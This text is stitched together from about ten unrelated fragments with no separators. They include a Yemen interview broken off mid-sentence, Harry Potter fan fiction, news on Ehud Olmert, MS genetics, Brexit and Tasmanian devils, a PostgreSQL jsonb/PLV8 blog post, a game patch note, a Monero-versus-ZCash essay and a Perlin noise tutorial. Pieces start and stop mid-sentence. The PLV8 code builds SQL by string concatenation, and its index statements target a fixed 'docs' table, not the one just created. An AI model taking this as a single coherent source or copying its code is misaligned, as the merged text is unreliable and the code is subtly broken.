STEPHEN O’BRIEN: Yemen now has the ignominy of being the world’s largest food security crisis, with more than 17 million people who are food-insecure, 6.8 million of whom are one step away from famine. Crisis is not coming. It is not even looming. It is here today, on our watch, and ordinary people are paying the price. … It is important to bear in mind that malnutrition and cholera are interconnected. Weakened and hungry people are more likely to contract cholera and less able to survive it. According to estimates, 150,000 cases are projected for the next six months, in addition to the broadly 60,000 current suspected cases since last April with 500 associated deaths. The scale of this latest outbreak is, as well as being depressingly predictable, a direct consequence of the conflict. And had the parties to the conflict cared, the outbreak was avoidable.
AMY GOODMAN: This is U.N. Emergency Relief Coordinator Stephen O’Brien addressing the U.N. Security Council. I want to ask you, Kristine Beckerle, about Human Rights Watch’s call for an arms embargo on Yemen.
KRISTINE BECKERLE: So, we’ve been calling for an arms embargo on Saudi Arabia, in particular, given the sort of strength of the evidence that has mounted against Saudi Arabia, in particular, as the leader of the coalition, in terms of carrying out war crimes and violations of the laws of war in Yemen. Others have echoed that call—Amnesty, many other NGOs. And what’s amazing is, last—just recently, 47 senators in the U.S. tried to block an arms sale to Saudi Arabia. So you’re seeing governments across the globe, basically—because, in the U.K., arms sales also are subject to judicial review. The Netherlands has imposed a presumption of denial on arms sales to Saudi Arabia. So you’re seeing countries really take steps.
But it’s not enough, because, in the end, the U.S. arms sale is going forward. In the end, Donald Trump went to Riyadh and said, “Here’s $110 billion in arms.” In the end, the U.S. is still providing significant support to the coalition, that is carrying out these attacks in Yemen, and, as we just heard in terms of the humanitarian crisis, also blocking, impeding and delaying the flow of aid into a country that, again, is facing famine and cholera.
AMY GOODMAN: And the major winners here—since Trump talks about winners and losers—the weapons manufacturers here in the United States?
KRISTINE BECKERLE: Basically, right? So,
|
pulling out his chair for him, and jumped to another topic. "Draco, the animagus meditation potion is ready. I will watch your first meditation tonight." As he sat down, a smirk appeared on his face. "If you become an illegal animagus tonight when you are still underaged, the punishment for such juvenile misdemeanor is only two hundred galleons in fines, instead of five hundred galleons in fines or two years' imprisonment."
Draco smiled nervously. "Thank you so much, Godfather. Tomorrow's ceremony, I mean, can I see Father -"
"No." Severus cut the boy off briskly. "Lucius has signed all the documents today, and you are not to leave Hogwarts until Bellatrix is caught. -And neither are you." Severus sternly eyed the blonde who was hiding her brief distress, then soften his voice a little bit. "Narcissa, I would not expect Bellatrix to remember much of either you or Draco. And if somehow I was mistaken in your sibling relationships and Bellatrix does remember you, that is just one more reason not to venture anywhere near Lucius. If you two need any other reasons, Lord Robert Jugson was arrested today for his attempt to curse Lucius when he was called in for questioning regarding his father's crimes."
Both Malfoys' faces turned white.
Severus waved his hand impatiently, "Lucius was unscathed. The aurors wouldn't let such lame and unplanned attacks to really hurt their valuable bait."
Yet Narcissa's face was still as white as ash. "Severus, you may call this superstition, but I have some very bad feelings today. I felt the same thing the day Lucius died one year ago."
Severus had known better than to dismiss such feelings from witches and wizards, because some of them were indeed related to true seers. "What do you feel specifically? I can give Mad-Eye some warnings."
Just as Narcissa was about to answer, Severus felt a slight twinge in his left arm, which also happened in April, 1991. He quickly pulled up his sleeve, then uttered something completely unsuitable for the delicate ears of his still-underaged godson and the uppermost noblewoman in wizarding Britain.
"Expecto Patronum! " As his bright ball-shaped patronus jumped upwards and vanished in air, Severus turned to his godson who started to show some horrible comprehensions. "Draco, I am afraid we have to cancel tonight's animagus training. There might be quite some discussions going on with the Boy-Who-Lived."
The next chapter will be up at 6 pm (EDT), 04/21/2015.JERUSALEM – An Israeli court on Tuesday cleared former Prime Minister Ehud Olmert of the most serious corruption charges against him, including hiding illegal cash gifts and double-billing, but convicted the ex-premier on a lesser count of breach-of-trust.
The split decision caps a five-year corruption probe that drove Olmert from office in 2009. However, this doesn't mark the end to his legal problems. He still faces a separate bribery trial involving a controversial Jerusalem real estate development built while Olmert was mayor of the holy city.
Tuesday’s verdict was widely seen as vindication for the former Kadima Party chairman, who had always insisted he was innocent and that any improprieties or illegal activities were either fabricated or the result of mismanagement and disorganization in his office.
Nevertheless, Olmert, 63, becomes the highest-ranking political figure in Israel’s history to be convicted of criminal activity.
His case is one of a several corruption and misconduct probes that have eroded Israelis’ faith in their government leaders.
Last year, former Israeli President Moshe Katsav was convicted of rape and is currently serving a seven-year jail sentence. Current Foreign Minister Avigdor Lieberman is facing indictment over allegations of bribery and influence-peddling, though no charges have been filed.
The original 61-page indictment against Olmert accused him of accepting cash-stuffed envelopes from American businessman Morris Talansky, double-billing for travel expenses abroad and steering government contracts and grants to supporters. The allegations centered on Olmert’s term as Jerusalem mayor and later trade minister, but they surfaced after he’d been elected as prime minister in 2006.
He could have faced five years in prison if convicted of the more serious charges.
But in the end, the court ruled that Olmert was guilty only of trying to grant favors to a friend and former law associate while serving as Israel’s trade minister.
Sentencing will be announced at a later date.
Some believe the prosecution against Olmert changed the face of the Israeli-Palestinian conflict because his government was actively involved in peace talks and had offered to make significant concessions toward creating a Palestinian state. But talks collapsed at the end of 2008 as Olmert’s administration began to crumble.
ALSO:
Kofi Annan flies to Iran to seek help on Syrian peace plan
Israeli advisory panel defends legality of West Bank settlements
Afghan woman accused of adultery apparently executed on video
-- Edmund Sanders
Photo: Former Israeli Prime Minister Ehud Olmert is escorted toward the District Court for the first day of his trial on charges of corruption. Credit: Amit Shabi / EPAPostgreSQL as many know, supports JSON as a storage type and with the release of 9.4, Postgres now supports storing JSON as jsonb – a binary format.
This is great news for people who want to move beyond simple “store JSON as text”. jsonb supports indexing now using the GIN index, and also has a special query operator that takes advantage of the GIN index.
Who Cares?
It’s been fun to explore jsonb in Postgres and to see what’s possible. Which is kind of the problem: it’s only an exploration and some musing, to get any work done leaves a little to be desired.
What I mean is that other systems (like RethinkDB) have a ton of functionality already built in to help you save documents, query documents, and optimize things. Postgres has some interesting abilities this way – but out of the box querying is pretty … lacking to be honest.
Consider this query:
select document_field ->'my_key' from my_docs where document_field @> '{"some_key" : "some_value"}';
It surfaces a bit of weirdness when it comes to JSON and Postgres: it’s all strings. Obviously SQL has no understanding of JSON, so you have to format it as a string. Which means working directly with JSON in SQL is a pain. Of course if you have a good query tool that problem is lessened to a degree… but it still exists.
In addition, the storage of a document is a little free-for-all. Do you have a single column that’s jsonb? Or Multiple columns in a larger table structure? It’s up to you – which is nice but too many choices can also be paralyzing.
So why worry about all of this? If you want to use a document database then use a document database. I agree with that… but there’s one really compelling reason to use Postgres (for me at least)…
Postgres is ACID-compliant. That means you can rely on it to write your data and, hopefully, not lose it.
Postgres is also relational, which means that if you want to graduate to a stricter schema as time goes on you can. There are a number of reasons you might want to choose Postgres – for now let’s say you have made that choice and want to start working with Documents and jsonb.
A Better API
Personally, I’d love to see more functions that support the notion of working with documents. Right now we have built-ins that support working with the JSON types – but nothing that supports a higher level of abstraction.
That doesn’t mean we can’t build such an API ourselves. Which I did :). Here goes…
A Document Table
I want to store documents in a table that has some meta information as well as additional ways I can query the information, specifically: Full Text Search.
The structure of the table can be opinionated – why not we’re building out this abstraction! Let’s start with this:
create table my_docs( id serial primary key, body jsonb not null, search tsvector, created_at timestamptz not null default now(), updated_at timestamptz not null default now() )
There will be some duplication here. The document itself will be stored in the body field, including the id, which is also stored as a primary key (we need this because this is still Postgres). I’m embracing duplication, however, because:
I’ll own this API and I’ll be able to make sure everything is synced up
That’s just the way it is in document systems
Saving a Document
What I’d like in a save_document function is the ability to…
Create a table on the fly
Create the necessary indexes
Create timestamps and a searchable field (for Full Text indexing)
I can do this by creating my own function save_document and, for fun I’ll use PLV8 – Javascript in the database. In fact I’ll create two functions – one that specifically creates my table, and another that saves the document itself.
First, create_document_table :
create function create_document_table(name varchar, out boolean) as $$ var sql = "create table " + name + "(" + "id serial primary key," + "body jsonb not null," + "search tsvector," + "created_at timestamptz default now() not null," + "updated_at timestamptz default now() not null);"; plv8.execute(sql); plv8.execute("create index idx_" + name + " on docs using GIN(body jsonb_path_ops)"); plv8.execute("create index idx_" + name + "_search on docs using GIN(search)"); return true; $$ language plv8;
This function creates a table and appropriate indexes – one for the jsonb field in our document table, the other for the tsvector full text index. You’ll notice that I’m building SQL strings on the fly and executing with plv8 – that’s the way you do it with Javascript in Postgres.
Next, let’s create our save_document function:
create function save_document(tbl varchar, doc_string jsonb) returns jsonb as $$ var doc = JSON.parse(doc_string); var result = null; var id = doc.id; var exists = plv8.execute("select table_name from information_schema.tables where table_name = $1", tbl)[0]; if(!exists){ plv8.execute("select create_document_table('" + tbl + "');"); } if(id){ result = plv8.execute("update " + tbl + " set body=$1, updated_at = now() where id=$2 returning *;",doc_string,id); }else{ result = plv8.execute("insert into " + tbl + "(body) values($1) returning *;", doc_string); id = result[0].id; doc.id = id; result = plv8.execute("update " + tbl + " set body=$1 where id=$2 returning *",JSON.stringify(doc),id); } return result[0]? result[0].body : null; $$ language plv8;
I’m sure this function looks a bit strange, but if you read through each line you should be able to figure out a few things. But why the JSON.parse() call?
This is because the Postgres jsonb type is not really JSON here – it’s a string. Outside our PLV8 bits is still Postgres World and it works with JSON as a string (storing it in jsonb in a binary format). So, when our document is passed to our function it’s as a string, which we need to parse if we want to work with it as a JSON object in Javascript.
In the insert clause you’ll notice that I have to synchronize the ID of the document with that of the primary key that was just created. A little cumbersome, but it works fine.
Finally – you’ll notice that in the original insert call as well as the update, I’m just passing the doc_string argument right into the plv8.execute call as a parameter. That’s because you need to treat JSON values as strings in Postgres.
This can be really confusing. If I try to send in doc (our JSON.parsed object) it will get turned into [Object object] by plv8. Which is weird.
Moreover if I try to return a Javascript object from this function (say, our doc variable) – I’ll get an error that it’s an invalid format for the type JSON. Which is ultra confusing.
For our result I’m simply returning the body from our query result – and it’s a string, believe it or not, and I can just pass it straight through as a result. I should note here as well that all results from plv8.execute return an Array of items that you can work with as Javascript objects.
The Result
It works really well! And it’s fast. If you want to try it out you’ll need to install the PLV8 extension and then write your query accordingly:
create extension plv8; select * from save_document('test_run', '{"name" : "Test"}');
You should see a new table and a new record in that table:
More To Do
In the next post I’ll add some additional features, specifically:
Automatically updating the search field
field Bulk document insert using arrays
This is a good start!Scientists have discovered 29 new gene variants that are implicated in multiple sclerosis, following the largest ever study of the genetics of the disease.
The genes are involved in controlling parts of the body's immune system, confirming research strategies and pointing to possible treatments for people who develop MS. The discoveries more than double the list of parts of the human genome that researchers believe contribute to the disease.
MS is one of the most common diseases of the nervous system, affecting more than 2.5 million people around the world. It is caused by damage to the protective insulation around nerve fibres, called the myelin sheath, preventing the nerves from working properly. This can affect everyday activities including sight, walking, thinking and control of organs.
In the latest study, led by Alastair Compston from the University of Cambridge, scientists looked at 600,000 locations in the DNA from 9,772 people with MS and compared it with those of 17,376 unrelated healthy people.
It is the largest-ever study into the disease, involving 250 researchers in the International Multiple Sclerosis Genetics Consortium and the Wellcome Trust Case Control Consortium. The results were published on Wednesday in Nature.
The first gene to be linked to MS, called HLA, was found in the early 1970s. Since then, several more genes have been implicated. In the Nature paper, researchers confirmed the involvement of 23 previously suspected gene variants and found 29 new variants. A further five variants were identified as strong candidates for future studies of the disease.
"The genes implicated by these 57 regions tell a very coherent story," said Compston. "There is a narrative that goes across these which is extremely informative – the story is immunological – 80% of the genes within the regions implicated are intimately involved in the workings of the immune response. This puts immunology right at the front end of the disease, unambiguously."
Many of the genes identified by Compston's team are involved in the function of T-cells, a type of immune cell that is responsible for destroying foreign invaders. Of the new gene variants found for MS, around a third have already been linked to a range of autoimmune conditions, where the T-cells malfunction and start attacking the body's own cells, such as Crohn's disease and Type 1 diabetes.
The findings also confirm some of the research scientists had already been pursuing. Four of the gene variants for MS are directly associated with drugs that are either already licensed or in clinical trials.
Peter Donnelly, a co-author of the research and head of the Wellcome Trust Centre for Human Genetics at Oxford University, said the study still did not reveal the complete picture for MS. "Our best guess at this is that, collectively, now the variants explain about 20% of the heritability," he said. "The rest will be down to a multitude of as-yet-undiscovered gene variants, each adding a tiny percentage to the overall risk of developing the disease."
Simon Gillespie, chief executive of the MS Society said: "By identifying which genes may trigger the development of MS, we can identify potential 'risk factors' and look at new ways of treating, or even preventing, the condition in the future. The MS Society is delighted to have helped fund this groundbreaking research."Two of largest business associations say letting UK opt out of aspects of free movement could endanger EU
Two of the largest German trade associations have come out in support of Angela Merkel taking a firm stance during negotiations over Britain’s exit from the EU, even if it comes at a short-term cost.
Speaking at a briefing in Brussels, the presidents of the Association of German Chambers of Commerce and Industry (DIHK) and the German Confederation of Skilled Crafts (ZDH) said that granting Britain an opt-out from the four freedoms – free movement of goods, services, capital and persons – could amount to the “beginning of the end” of the single market.
“You cannot say: ‘I take part on three counts but not on the fourth,’” said the DIHK’s Eric Schweitzer. Untangling the unity of the four freedoms, he argued, “creates the risk that the whole of Europe would fall apart”.
“The economic consequences would be dramatic. The single market has played an important part in us having growth and prosperity in Europe.”
Hans Peter Wollseifer, the president of the ZDH, said he agreed with his counterpart from an economic point of view, but warned that the rest of Europe should not let the UK “drift off too far”. The EU had to learn from Brexit, Wollseifer said, and “maybe be a bit more restrained in passing laws and regulations that affect even the smallest business”.
Angela Merkel urges German firms to back tough stance in Brexit talks Read more
The ZDH represents more than a million businesses and over 5m employees in Germany.
Last week, the German chancellor, Angela Merkel, appealed to businesses and lobbyists in Germany to support her stance during upcoming negotiations with Britain, telling an audience of business leaders that any exception to the EU’s single market rules would represent “a systemic challenge for the entire European Union”.
Markus Kerber, the leader of Germany’s largest industry group, the BDI, said recently that trade, investments and single-market solidarity with the rest of the EU were more important than the volume of business German companies do with Britain.Hello Everyone, Ever had trouble finding that itty bitty ward that's somewhere in the middle of that crazy team fight? Ever got frustrated at clicking the mini-map trying to teleport into a fight? Well, misclick no more! **Change List:** * Teleport will look for nearby valid teleport targets when you cast it... * To protect against fat fingering or accidental casts, this auto seeking behavior will only applies if the target location is 2000+ units away * No longer buffers spells during teleport, this should mitigate most abilities from casting in the wrong direction after the teleportation. **EDIT:: To clarify, you can still cast teleport within 2000 units, you just need to click the unit you wish to teleport to, the 'auto-seek' will not be enabled.** Looking forward to hearing your thoughts and feedback on these changes, if you noticed any usability issues, and have a good day! (This will be on PBE after the March 8th server deploy, and is likely to be remain in testing till patch 7.7)
Title
Body Cancel
Save(This article was republished on steemit.com on 2016-07-12)
When bitcoin launched, a lot of people thought they finally had decentralised digital cash. We saw people using bitcoins for ideological reasons, but also for the presumed anonymous properties. You didn’t need to provide any identity information to create a wallet or send a transaction. Anonymous magic internet money. Cool, right?
Over the years, it became more clear that bitcoin isn’t anonymous at all. All transactions can be traced on the blockchain. If you transact with a stranger at a bitcoin meetup, he could start guessing your total bitcoin balance in your wallet. When you interact with regulated bitcoin businesses, you are required to provide ID information. And you can be sure that this company will couple your customer data to your blockchain fingerprint. This data can be handed over to law enforcement upon request, and be used to analyse the blockchain and associate more activity with you, or reveal connections with certain people, markets or online services.
A lot of bitcoin tracking companies started to deanonymize users by using this data and are actively trying to map the whole bitcoin blockchain.
So how can we avoid this bitcoin tracing?
Some people started to offer mixing services. These are centralised platforms where you send your coins to and you (hopefully) get coins back which aren’t related to your coins. The problem with this is that these platforms can be honeypots operated by law enforcement, or can just go offline and run with your money.
Another option is a form of coinjoin/joinmarket. This is a system where people let other people know they want to mix their coins. People eventually sign one big transaction with all the inputs of the people who wanted to mix at that certain point in time and get outputs from that transaction to a new address.
This somewhat breaks the link, but there is still a degree of traceability: once you get coins back in different outputs and you start transacting again, these outputs will probably be joined again and it’s possible some of the outputs can be linked to the inputs.
A sybil attack is also possible: when you mix with coinjoin, you assume these people are random, but these people could in fact all be law enforcement just waiting for the mixing transactions to happen. If you only “mix” with one party, that party knows your inputs and outputs, while you assume that you now own anonymous bitcoins. This is a very dangerous situation!
But the biggest issue isn’t even the centralized mixers running with your money, honeypots, or traceable coinjoins. It’s something that is -in my opinion- a very underestimated issue:
Enter fungibility.
Fungibility is a property of money that makes every unit if this money interchangeable: you can pay someone with a paper note and the receiver won’t care where it came from. As long as this note isn’t counterfeited, he will accept it and exchange goods or services for that paper note. This is how physical cash works.
But how do we enforce fungibility on a transparent blockchain where every transaction is visible?
All forms of mixing on transparent chains are active forms of mixing: if you want to mix coins, you need to find other people who want to mix as well. This makes the system vulnerable to sybil attacks/honeypots and, more importantly, people can see on the blockchain you tried to mix your coins. This act in itself could already be considered a crime: you are actively money laundering your coins.
Even if using a mixing service isn’t viewed as a crime, there are still a lot of fungibility risks associated with mixing. First and foremost, there is the possibility of blacklisting coins.
Even if you succeed in anonymizing your coins, there is still a trail. It’s pretty easy to know by analysing the blockchain that certain coins were sent to a darknet market for example. So if you try to mix your coins, you do that with coins from an unknown source (that’s the whole point, remember?).
Suppose that after mixing, you get coins back which were used in a drug transaction. Suppose the DEA busts a house of a drug dealer and follows the trail of the bitcoins that guy earned. The DEA may eventually find your wallet as the destination of the drug money. If you then spend these coins at a website that uses a payment processor, your customer data is connected with this drug money and you may get a knock on your door by law enforcement. If you try to sell these coins at an exchange, it’s possible your account will be blocked and your coins will be confiscated and sent to the government wallet. Certainly in the USA this is a risk because Civil Asset Forfeiture laws are broadly applied.
Another problem is mining censorship: miners confirm transactions. Up until now they seem to confirm any valid transaction. But what if law enforcement goes to the biggest miners in the world (representing at least 51% of the hashpower) and tells them that if they continue to confirm easily identifiable mixing transactions, they will be accused of money laundering. What if they aren’t even allowed to build new blocks on blocks containing such illegal transactions? It’s all possible in theory. Regulatory compliance by miners is -in my opinion- just a matter of time.
This is the fungibility problem that a transparent blockchain faces. Note that 99% of all cryptocoins are using a transparent blockchain, even the (in-)famous cryptocoin DASH, which just offers a form of CoinJoin that is built in the GUI wallet and mixes the coins on centralised “masternode servers” that can log every input and output.
Enter Monero.
What makes Monero different from all other cryptocurrencies? Well, unlike Bitcoin, it uses a passive form of mixing.
How does this “passive mixing” work?
Monero uses ring signatures to obfuscate transactions. When you create a transaction, your Monero client randomly selects some transactions from the monero blockchain and signs a “ring signature”. Along with this ring signature, some kind of “fingerprint” is published, called the key image. This results in a transaction where an observer can’t know who is the real signer, but has cryptographic proof that it’s a valid transaction and no double spend happened.
Because your client picked the other transaction outputs randomly, those outputs are obfuscated even more. And this happens without them signing anything. Their coins can even be stored on a paper wallet and still be included in your transaction! So when sending a transaction, you not only immediately have plausible deniability about your own transaction history, but also obfuscate the blockchain even more. You generate positive externalities when you transact. The more people are using monero, the better its privacy will become.
In Monero, ring signatures are combined with stealth addresses to also make it impossible to identify the receiver of the coins. A transaction is sent to a “one time address”. The receiver needs to constantly scan the blockchain with his private viewkey to know which transactions are meant for him. With his private spend key he can then create a ring signature and spend his coins. Soon Confidential Transactions will be added to Monero with the goal of also making the transaction amount invisible. This will also solve some small issues with Monero privacy that now still exist.
But what has this fancy mixing system to do with fungibility? It’s still possible to track coins and see that certain coins are mixed, right?
Well, no: the use of ring signatures is enforced by the Monero protocol. Unmixed transactions aren’t allowed on the Monero blockchain. This results in every transaction being in a ring signature and obfuscating the chain even more. This guarantees fungibility on 2 levels: it’s impossible to track coins due to the default mixing and nobody can prove that you initiated the mixing thanks to the plausible deniability features of ring signatures.
The only exception to this are the newly minted coins: these coins don’t have inputs, so they can’t be signed with a ring signature. But this is actually an advantage, as it makes it possible to verify that the amount of newly minted coins is according the the emission scheme. However, other transactions can include these minting transactions in a ring signature. So when that happened at least once, the miner has plausible deniability on whether he spent his freshly minted coins or not.
This means that accepting or spending Monero doesn’t have any risks of being tracked, blacklisted or censored. You simply don’t know what is happening but you can verify that no double spends are happening and that the supply scheme is honoured. Some issues still exist, but these are minor and are actively being researched by the Monero Research Lab. See their research papers for more info. Monero is an (almost) perfect form of digital cash.
Note that Monero will only give you the full benefits of its technology as long as you stay inside the system. Once you start using Monero as some kind of mixer by buying XMR with BTC and spending your XMR immediately after that, some timing analysis can happen based on the bitcoin and monero blockchain. You shouldn’t enter and exit the Monero system every time you want to transact anonymously. This would diminish the privacy and fungibility aspects of your transaction. In stead, you should just use the funds you already have stored in the network. Monero as a sidechain to Bitcoin is therefore not a good idea. People who actually store a part of their wealth in Monero, will benefit from the obfuscation created by other people transacting. Monero is therefore only useful as a separate fungible network.
So what’s all that buzz around ZCash?
Isn’t that coin claiming to be completely anonymous and better than every other anonymous cryptocurrency out there?
ZCash is a cryptocurrency project that originated from the Zerocoin/Zerocash idea, proposed back in 2013. Almost every “old time” bitcoiner knows about it. It was proposed to be integrated in the bitcoin codebase so that you would have the option to send a zerocoin-transaction using the bitcoin blockchain. You would need to “pour” your bitcoins in the Zerocoin mixer and from that point onwards, you could transact anonymously using the Zerocoin-protocol. When it became clear that Zerocoin wouldn’t be implemented in the bitcoin codebase any time soon, they worked for a while on implementing it as a sidechain.
But at some point the Zerocoin-team pivoted and decided to launch the altcoin ZCash. There is nothing wrong with trying to launch an altcoin, but, in my opinion, an altcoin can only survive long term if it actually offers something that is unique and probably can’t be adopted by bitcoin. The fact that it’s possible to add ZCash as a sidechain to bitcoin, should already raise some red flags.
The ZCash team decided to launch ZCash as an altcoin so they were able to fund the development: ZCash has a US-based company behind it and will tax 20% of the mining revenue during the first 4 years to pay off private investors. If ZCash were to succeed, the private investors will benefit greatly from the launch of this cryptocurrency. Although I don’t like ICO’s, a public coinsale (a form of crowdfunding) would have been a more fair and open way to fund development than seeking money from private investors.
This is in great contrast with the launch of Bitcoin and Monero, which were fairly launched, without “premine”, “mining tax” or some kind of company behind it. In my opinion, a successful large cryptocoin will probably be grass-roots, but it’s possible I’m mistaken here. Maybe some people actually prefer a corporate coin like ZCash. Time will tell.
But let’s dive into the tech a bit to compare its features with Bitcoin and Monero. The first thing that strikes me is the fact that ZCash allows transparent transactions: mined coins are bitcoin-like transparent “base coins”. When you want to spend them, you have the option to do an anonymous “pour” to enter them into the ZCash mixer. It’s basically the same idea as using Zerocoin as a sidechain.
This ZCash mixer functions as a “black box”: you can see what is entering and what is exiting, but you can’t see what is happening inside the ZCash-mixer. This fact alone doesn’t magically make ZCash fungible: transparent transactions are still possible, so the mixing isn’t default.
It’s also an active form of mixing, not a passive form like on the Monero network. Because you need more than 8GB of RAM to do an anonymous ZCash transaction, it’s very likely that the mixing won’t be enforced any time soon and, what’s even more concerning, the large majority of transactions will probably just be transparent bitcoin-like transactions. Another concern is “timing analysis”: if the ZCash mixer isn’t used much, you can try to connect coins entering the mixer with coins exiting the mixer. Certainly for larger transactions this is a real possibility.
The fact that transparent transactions are still possible, also makes your OpSec dependant on others: even if you try to anonymize your coins as much as possible, you can still be deanonymized if the people you transact with aren’t using the same standards. It’s even possible you’ll be forced to use transparent transactions if you want to use some kind of (regulated) service. This will result in the same issues as described on a transparent blockchain. Identities will be attached to addresses and this can eventually lead to blacklisting or even miner censorship. The fact that mixing isn’t enforced on ZCash is bad for fungibility and anonymity.
Another problem with ZCash is the fact that it’s brand new cryptography. Nobody can really guarantee that there aren’t some bugs in the system that will make it possible to deanonymize transactions or create coins out of thin air. What’s more, if coins are being created, it will not even be detectable because, unlike Monero, you can’t verify the total amount of coins in the ZCash blockchain. During the alpha test phase, they already found such a bug. Nobody can guarantee that similar bugs won’t exist when ZCash launches. It doesn’t seem a great idea to base a monetary system on brand new crypto. Accidents can happen, and when they happen, the value will plummet.
Related to this issue of brand new cryptography is that some features like multisig are not that hard to implement on Monero, while for ZCash this will require a lot of research. Meanwhile, ZCash will probably use the bitcoin-styled multisig on the transparent part of the network.
The ZCash extended paper also mentions a theoretical “poison pill attack” (section 6.4). This attack makes it possible to target a single user with the goal of deanonymizing him. It seems this attack is easier to perform when the targeted user uses an anonymous network like Tor. Monero, in contrast, is integrating with I2P.
Another problem ZCash faces is the “trusted setup”, the so called cryptographic “toxic waste” problem. This is some data that is needed when the initial parameters of ZCash are created, but needs to be deleted afterwards. If somehow someone gains access to this “toxic waste”, this entity can create coins out of thin air without anyone noticing. This is a serious problem because this makes a malicious backdoor in ZCash a real possibility.
The fact that ZCash is a US-based company, doesn’t really help with building confidence in this cryptocurrency. It’s not unthinkable some agency will require the ZCash team to make a copy of this “toxic waste” and hand it over to them. Just google what the US government did to the owners of e-gold, Liberty Reserve and the Liberty Dollar, and you’ll understand what kind of pressure they can exert on the owners of the ZCash company. If coins can be created at will, the inflation will diminish the value of the coin.
There is a clear trade-off between using Monero or Zcash: Monero is a usable and default fungible cryptocurrency based on solid cryptography without “trusted setup” by a company. The whole Monero blockchain becomes more and more obfuscated over time when people are transacting, which mitigates the “imperfect” anonymity. Meanwhile, the anonymity of Monero is also being improved on a technical level by the Monero Research Lab.
ZCash on the other hand has a different approach. They offer a completely anonymous mixer, but not by default, resulting in fungibility and anonymity problems. It has some serious issues related to the “toxic waste” during the “trusted setup” and has a lot of additional risks due to the brand new cryptography that is being applied.
Is it an interesting research project? For sure. Should it be applied in a cryptocurrency? No.
Sidenote: it’s perfectly possible to add a ZCash mixer to the Monero blockchain. In that case the “base coins” are the normal Monero-tokens that already are in circulation and people can choose to send their coins to a ZCash sidechain. The Monero network will need to check if the total number of XMR that goes into the sidechain is always larger than the total number of XMR that is exiting the sidechain.
Even if a hacker finds an exploit to create XMR out of thin air inside the ZCash mixer, he will only be able to drain the sidechain, not the mainchain. Use of the ZCash sidechain is then at your own risk. No additional Monero can be created on the mainchain, which is still perfectly fungible.
EDIT: Zooko reached out to me to point out he didn’t start the zerocoin/zerocash project. He became involved at a later point in time. Article changed accordingly.
EDIT2: Zooko asked me to be less speculative about the motives surrounding the launch. I linked to the article he provided.By Phil Mercer
BBC News, Sydney
The disease has left Tasmanian Devils at risk of extinction
Australia experts say a Tasmanian Devil called Cedric could hold the key to the survival of the embattled species.
The world's largest marsupial carnivore is facing extinction from a mystery facial cancer.
But scientists say Cedric appears to be naturally resistant to the contagious tumours which have killed half the devil population in Tasmania.
Cedric is the first Tasmanian Devil to have shown any immunity from the disfiguring disease.
Infected animals become so consumed by the cancer they can no longer eat or see and eventually die of starvation.
Breakthrough
Cedric was captured in western Tasmania last year, along with his half-brother, Clinky.
Both were injected with dead tumours by scientists. Clinky produced no antibodies, but Cedric did and appears to have built-in defences against the mystery illness.
The experiments have now moved up a gear.
Researcher Alex Kriess says the pair have had live cancer cells inserted into their faces.
"They haven't developed a tumour so far," he said. "We injected very few cells so it might take a while until they develop anything that we can see."
Cedric's apparent resistance to the disease has been seen as a significant breakthrough.
The facial tumours are decimating devil numbers on Tasmania's east coast. Cedric is from a genetically different population on the other side of the island.
Scientists hope marsupials that share his genetic pattern could also be immune to the cancer or capable of responding to a vaccine.
If real progress is not made soon, experts worry that the Tasmanian Devil could be extinct within 20 years.For years
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you don't need many gradients. He chose just twelve vectors for his improved noise, each pointing from the center of a cube to the middle of one of its edges. However, twelve is not a power of two, so bit masking doesn't work with that. He decided to lengthen his array by including four vectors twice. He picked four that form a regular tetrahedron so they don't introduce a directional bias. Let us use the same gradients.
private static Vector3[] gradients3D = { new Vector3( 1f, 1f, 0f), new Vector3(-1f, 1f, 0f), new Vector3( 1f,-1f, 0f), new Vector3(-1f,-1f, 0f), new Vector3( 1f, 0f, 1f), new Vector3(-1f, 0f, 1f), new Vector3( 1f, 0f,-1f), new Vector3(-1f, 0f,-1f), new Vector3( 0f, 1f, 1f), new Vector3( 0f,-1f, 1f), new Vector3( 0f, 1f,-1f), new Vector3( 0f,-1f,-1f), new Vector3( 1f, 1f, 0f), new Vector3(-1f, 1f, 0f), new Vector3( 0f,-1f, 1f), new Vector3( 0f,-1f,-1f) }; private const int gradientsMask3D = 15;
While we could normalize these gradients, as they all have the same length this is not really necessary. Furthermore, Because each individual vector only uses two dimensions, the maximum possible value is the same as for the unnormalized 2D diagonals case, which is 1. So we don't have to scale the interpolated value at all. The only extra thing we need to do is add another Dot method that works for three dimensions.
private static float Dot (Vector3 g, float x, float y, float z) { return g.x * x + g.y * y + g.z * z; } public static float Perlin3D (Vector3 point, float frequency) { point *= frequency; int ix0 = Mathf.FloorToInt(point.x); int iy0 = Mathf.FloorToInt(point.y); int iz0 = Mathf.FloorToInt(point.z); float tx0 = point.x - ix0; float ty0 = point.y - iy0; float tz0 = point.z - iz0; float tx1 = tx0 - 1f; float ty1 = ty0 - 1f; float tz1 = tz0 - 1f; ix0 &= hashMask; iy0 &= hashMask; iz0 &= hashMask; int ix1 = ix0 + 1; int iy1 = iy0 + 1; int iz1 = iz0 + 1; int h0 = hash[ix0]; int h1 = hash[ix1]; int h00 = hash[h0 + iy0]; int h10 = hash[h1 + iy0]; int h01 = hash[h0 + iy1]; int h11 = hash[h1 + iy1]; Vector3 g000 = gradients3D[ hash[h00 + iz0] & gradientsMask3D]; Vector3 g100 = gradients3D[ hash[h10 + iz0] & gradientsMask3D]; Vector3 g010 = gradients3D[ hash[h01 + iz0] & gradientsMask3D]; Vector3 g110 = gradients3D[ hash[h11 + iz0] & gradientsMask3D]; Vector3 g001 = gradients3D[ hash[h00 + iz1] & gradientsMask3D]; Vector3 g101 = gradients3D[ hash[h10 + iz1] & gradientsMask3D]; Vector3 g011 = gradients3D[ hash[h01 + iz1] & gradientsMask3D]; Vector3 g111 = gradients3D[ hash[h11 + iz1] & gradientsMask3D]; float v000 = Dot(g000, tx0, ty0, tz0); float v100 = Dot(g100, tx1, ty0, tz0); float v010 = Dot(g010, tx0, ty1, tz0); float v110 = Dot(g110, tx1, ty1, tz0); float v001 = Dot(g001, tx0, ty0, tz1); float v101 = Dot(g101, tx1, ty0, tz1); float v011 = Dot(g011, tx0, ty1, tz1); float v111 = Dot(g111, tx1, ty1, tz1); float tx = Smooth( tx0 ); float ty = Smooth( ty0 ); float tz = Smooth( tz0 ); return Mathf.Lerp( Mathf.Lerp(Mathf.Lerp( v000, v100, tx), Mathf.Lerp( v010, v110, tx), ty), Mathf.Lerp(Mathf.Lerp( v001, v101, tx), Mathf.Lerp( v011, v111, tx), ty), tz) ; }
3D Perlin noise.
